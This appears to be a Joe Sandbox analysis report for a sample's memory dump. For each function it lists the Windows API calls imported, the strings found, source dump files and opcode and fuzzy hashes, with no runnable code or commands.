Opcode ID: fddc28b1b18f32b89e12057ec3f86f788145ae9278b4ee576d12a2d21aea8d3a
Instruction ID: 3e724c934f26e5c69ba7210438ba08ebd6a2ff2254e9da7aaadeaf3062dc6fe3
Opcode Fuzzy Hash: fddc28b1b18f32b89e12057ec3f86f788145ae9278b4ee576d12a2d21aea8d3a
Instruction Fuzzy Hash: 7E31E27290420D6ADF10EFB4ED09EEE77AC9F4A320F1040A5FA18E31A0DB74D944AE60

Function 00FA979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00FA97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00FA9819
FindClose.KERNEL32(00000000), ref: 00FA9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00FA9840
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA9890
SetCurrentDirectoryW.KERNEL32(00FF6B7C), ref: 00FA98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FA98B8
FindClose.KERNEL32(00000000), ref: 00FA98C5
FindClose.KERNEL32(00000000), ref: 00FA98D5

Part of subcall function 00F9DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00F9DB00

Strings

*.*, xrefs: 00FA983B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: b729705b0e19e12b443814714582942f4bc860658ee7b18565003aafd9071aed
Instruction ID: 683f03b214e84b412490dfbb79b6152c1d8145e5db5689572f755bff1fff1463
Opcode Fuzzy Hash: b729705b0e19e12b443814714582942f4bc860658ee7b18565003aafd9071aed
Instruction Fuzzy Hash: 2F31C37290421D6ADB10EFB4EC49EEE77AC9F47330F5041A5E914E30A0DBB8D945EB60

Function 00FBBE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FBB6AE,?,?), ref: 00FBC9B5
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBC9F1
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA68
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FBBF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00FBBFA9
RegCloseKey.ADVAPI32(00000000), ref: 00FBBFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00FBC02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00FBC0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00FBC154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00FBC1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00FBC23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00FBC2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00FBC382
RegCloseKey.ADVAPI32(00000000), ref: 00FBC38F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: b570131f46fd781a8c9d6878a8899b3268a2ea8b2db8b45efb6191cf558a526a
Instruction ID: caeb6d2617d56eca89b4920ffa1d8d5e41bc986afe137168bd7eac8f28405e05
Opcode Fuzzy Hash: b570131f46fd781a8c9d6878a8899b3268a2ea8b2db8b45efb6191cf558a526a
Instruction Fuzzy Hash: D5025B71604200AFC714DF29C891E6ABBE5AF89318F58849DF84ADB2A2D731EC45DF91

Function 00FA8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FA8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FA8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00FA8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA8310
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA8324
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00FA838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA8395

Strings

*.*, xrefs: 00FA839B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 37825269ef1e855fba01f60e208668ee6d289bf34000b041fbaee4c4ec31ebad
Instruction ID: bf71991163eede01e58258ccf49e5ef5aa8fc3107ad5d29bcac5c57266d25b20
Opcode Fuzzy Hash: 37825269ef1e855fba01f60e208668ee6d289bf34000b041fbaee4c4ec31ebad
Instruction Fuzzy Hash: BD618DB25083059FCB10EF60C841AAEB3E8FF89360F04491EF989D7251DB75E946DB92

Function 00F9D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F33AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F33A97,?,?,00F32E7F,?,?,?,00000000), ref: 00F33AC2

Part of subcall function 00F9E199: GetFileAttributesW.KERNEL32(?,00F9CF95), ref: 00F9E19A

FindFirstFileW.KERNEL32(?,?), ref: 00F9D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00F9D1DD
MoveFileW.KERNEL32(?,?), ref: 00F9D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00F9D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F9D237

Part of subcall function 00F9D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00F9D21C,?,?), ref: 00F9D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00F9D253
FindClose.KERNEL32(00000000), ref: 00F9D264

Strings

\*.*, xrefs: 00F9D0CD, 00F9D0D6, 00F9D0EB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 93cedabef000a39a38fe3a00d352f22c9982e6571aec1978d63f8750e059673a
Instruction ID: 895fff2caea2a56d673fd1de845b39729cbbdb5c94e15afb2e793249bd0fd341
Opcode Fuzzy Hash: 93cedabef000a39a38fe3a00d352f22c9982e6571aec1978d63f8750e059673a
Instruction Fuzzy Hash: AB617C31C0510DAADF05EBE0CE929EDB7B5AF54320F704065E442B71A1EB78AF09EB60

Function 00FAED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00FAED91
EmptyClipboard.USER32 ref: 00FAED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00FAEDAC
CloseClipboard.USER32 ref: 00FAEEA3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: f936661ce0d9d7d87428582a5f07f749d5c323930f3530bacf1f55a2be0a2600
Instruction ID: 6b87a5878e411813d747dbac8365415b5949abe794322030a38a804b69c15d87
Opcode Fuzzy Hash: f936661ce0d9d7d87428582a5f07f749d5c323930f3530bacf1f55a2be0a2600
Instruction Fuzzy Hash: 2941EC75604211AFE320CF25D989F19BBE0EF05329F05C09DE4198B662C735EC42EBD0

Function 00F9E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00F916C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F9170D
Part of subcall function 00F916C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F9173A
Part of subcall function 00F916C3: GetLastError.KERNEL32 ref: 00F9174A

ExitWindowsEx.USER32(?,00000000), ref: 00F9E932

Strings

, xrefs: 00F9E920
, xrefs: 00F9E95C
SeShutdownPrivilege, xrefs: 00F9E902
@, xrefs: 00F9E925

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 8b2c127e45420fd496b25820c647ee7f388b6e2327181da1bf35342dbd00b877
Instruction ID: b1410a36289ed5971e17b6e3aee559f1343b4637550da814c13f20a0bf600ccb
Opcode Fuzzy Hash: 8b2c127e45420fd496b25820c647ee7f388b6e2327181da1bf35342dbd00b877
Instruction Fuzzy Hash: 6101D673E10215ABFF64A6B49D86FBB726CAB14760F150821FD03E31D1D9A55C40B1D0

Function 00FB1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00FB1276
WSAGetLastError.WSOCK32 ref: 00FB1283
bind.WSOCK32(00000000,?,00000010), ref: 00FB12BA
WSAGetLastError.WSOCK32 ref: 00FB12C5
closesocket.WSOCK32(00000000), ref: 00FB12F4
listen.WSOCK32(00000000,00000005), ref: 00FB1303
WSAGetLastError.WSOCK32 ref: 00FB130D
closesocket.WSOCK32(00000000), ref: 00FB133C

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 69b3b0daaa46edfc03d0bbd8a1bf990f09bb794ba62f828967c76ad39a539a54
Instruction ID: 8edb029f9820aa30f8cadd1204946c8129908ad36132d78382e1f93b45b9d465
Opcode Fuzzy Hash: 69b3b0daaa46edfc03d0bbd8a1bf990f09bb794ba62f828967c76ad39a539a54
Instruction Fuzzy Hash: 8641D131A001009FD710DF25C999B6ABBE5BF46328F588088E85A8F2D2C731EC81DFE0

Function 00F9D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F33AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F33A97,?,?,00F32E7F,?,?,?,00000000), ref: 00F33AC2

Part of subcall function 00F9E199: GetFileAttributesW.KERNEL32(?,00F9CF95), ref: 00F9E19A

FindFirstFileW.KERNEL32(?,?), ref: 00F9D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00F9D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F9D481
FindClose.KERNEL32(00000000), ref: 00F9D498
FindClose.KERNEL32(00000000), ref: 00F9D4A1

Strings

\*.*, xrefs: 00F9D3F2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 16e5b4b157de8dd438049e9870f68b1f3f672f519cb3ae38a8c2e48c2a9a8f59
Instruction ID: 4684b7dbbdf799868627d98a0aab3a09d11fa2b9e2a0d0ee3be0098cea873a51
Opcode Fuzzy Hash: 16e5b4b157de8dd438049e9870f68b1f3f672f519cb3ae38a8c2e48c2a9a8f59
Instruction Fuzzy Hash: 5331AE3140C3459BC704EF64DD929AFB7A8AE91324F504A1DF4D5931A1EB34EA09EBA3

Function 00F6E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F6E645

Strings

1#SNAN, xrefs: 00F6F844
1#QNAN, xrefs: 00F6F84B
1#IND, xrefs: 00F6F83D
1#INF, xrefs: 00F6F852

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: fc7635dacc55c666b1f99923e768132e3c4a565d0d225f4c840f9764bec82cb6
Instruction ID: 6e9f9d183786c1314d3eefc0c32bea864f6d68523aef12fb186d5ec723408137
Opcode Fuzzy Hash: fc7635dacc55c666b1f99923e768132e3c4a565d0d225f4c840f9764bec82cb6
Instruction Fuzzy Hash: 60C25D72E046288FDB25CF28DD407EAB7B5EB45315F1441EAD80EE7241E778AE85AF40

Function 00FA648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FA64DC
CoInitialize.OLE32(00000000), ref: 00FA6639
CoCreateInstance.OLE32(00FCFCF8,00000000,00000001,00FCFB68,?), ref: 00FA6650
CoUninitialize.OLE32 ref: 00FA68D4

Strings

.lnk, xrefs: 00FA64BA, 00FA6524, 00FA65E0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: a807a3e25635b64fe1b65b468b9535fb546300655e68038722060574964c9747
Instruction ID: 260c9c6e996505db9fbd9bde3f07dab6cb9d67b1c0d06f697b0399aaa6066e53
Opcode Fuzzy Hash: a807a3e25635b64fe1b65b468b9535fb546300655e68038722060574964c9747
Instruction Fuzzy Hash: A8D149B1508301AFC314EF24C881A6BB7E8FF99714F04496DF595CB2A1EB74E909DB92

Function 00FB22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00FB22E8

Part of subcall function 00FAE4EC: GetWindowRect.USER32(?,?), ref: 00FAE504

GetDesktopWindow.USER32 ref: 00FB2312
GetWindowRect.USER32(00000000), ref: 00FB2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00FB2355
GetCursorPos.USER32(?), ref: 00FB2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00FB23DF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 04585feceee80c063956bbdcad973534db269b35056c5f27c130b63949e155bb
Instruction ID: d313c1f98dbfdf9dcb920968b91fd3a18ff19216bc8e56dbaaba6f8340e1f867
Opcode Fuzzy Hash: 04585feceee80c063956bbdcad973534db269b35056c5f27c130b63949e155bb
Instruction Fuzzy Hash: 6531BE72504319ABDB20DF55CC49F9BB7E9FF88310F040919F98997191DB34E909DB92

Function 00FA9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00FA9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00FA9C8B

Part of subcall function 00FA3874: GetInputState.USER32 ref: 00FA38CB
Part of subcall function 00FA3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FA3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00FA9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00FA9C75

Strings

*.*, xrefs: 00FA9B5D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 9dd74fb6eae7ee452db06a2875d77958681f175b8d1732b0ac1d5901921ca754
Instruction ID: 2bf99127ac93f0e4897ea5a521d6af9ba03f46a13c2d1ff7eeb493589ee77eb2
Opcode Fuzzy Hash: 9dd74fb6eae7ee452db06a2875d77958681f175b8d1732b0ac1d5901921ca754
Instruction Fuzzy Hash: 1641B3B1D0860A9FCF14DFA4CD45AEE7BB4EF46320F104065E915A3191DB709E44EF60

Function 00F4997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00F49A4E
GetSysColor.USER32(0000000F), ref: 00F49B23
SetBkColor.GDI32(?,00000000), ref: 00F49B36

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: db31dd9fc1accd064f11d40895757f1db21b6ef810f5592c50597c01dbad6590
Instruction ID: 339451f0320c5facff4b5e6b4148a86d8d17b4cee7d2b723625e697445a7cd91
Opcode Fuzzy Hash: db31dd9fc1accd064f11d40895757f1db21b6ef810f5592c50597c01dbad6590
Instruction Fuzzy Hash: 99A1D67170C554AEE725BA288C49FBF3E9DDB82360F240209F902C6595CAADDE41F371

Function 00FB1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FB307A
Part of subcall function 00FB304E: _wcslen.LIBCMT ref: 00FB309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00FB185D
WSAGetLastError.WSOCK32 ref: 00FB1884
bind.WSOCK32(00000000,?,00000010), ref: 00FB18DB
WSAGetLastError.WSOCK32 ref: 00FB18E6
closesocket.WSOCK32(00000000), ref: 00FB1915

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: fcc3d2ae6d6b87370b0ba4f01ea0bc22a9fedf2ee5207b2adc48c8d90dfe25c1
Instruction ID: 24c6fd9b955d982b44c1d9fbaa13e3269262d48b75391c13e7f73230532a0965
Opcode Fuzzy Hash: fcc3d2ae6d6b87370b0ba4f01ea0bc22a9fedf2ee5207b2adc48c8d90dfe25c1
Instruction Fuzzy Hash: F351A375A00200AFDB10EF24C896F6A77E5AB44728F488458FA09AF3D3D775ED419BE1

Function 00FC1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00FC1CC0
IsWindowEnabled.USER32 ref: 00FC1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00FC1CDB
IsIconic.USER32 ref: 00FC1CE9
IsZoomed.USER32 ref: 00FC1CF7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 895c9e3bdcfdbea1a645644624f5e280842434bec937025d8586cffebc55cb6e
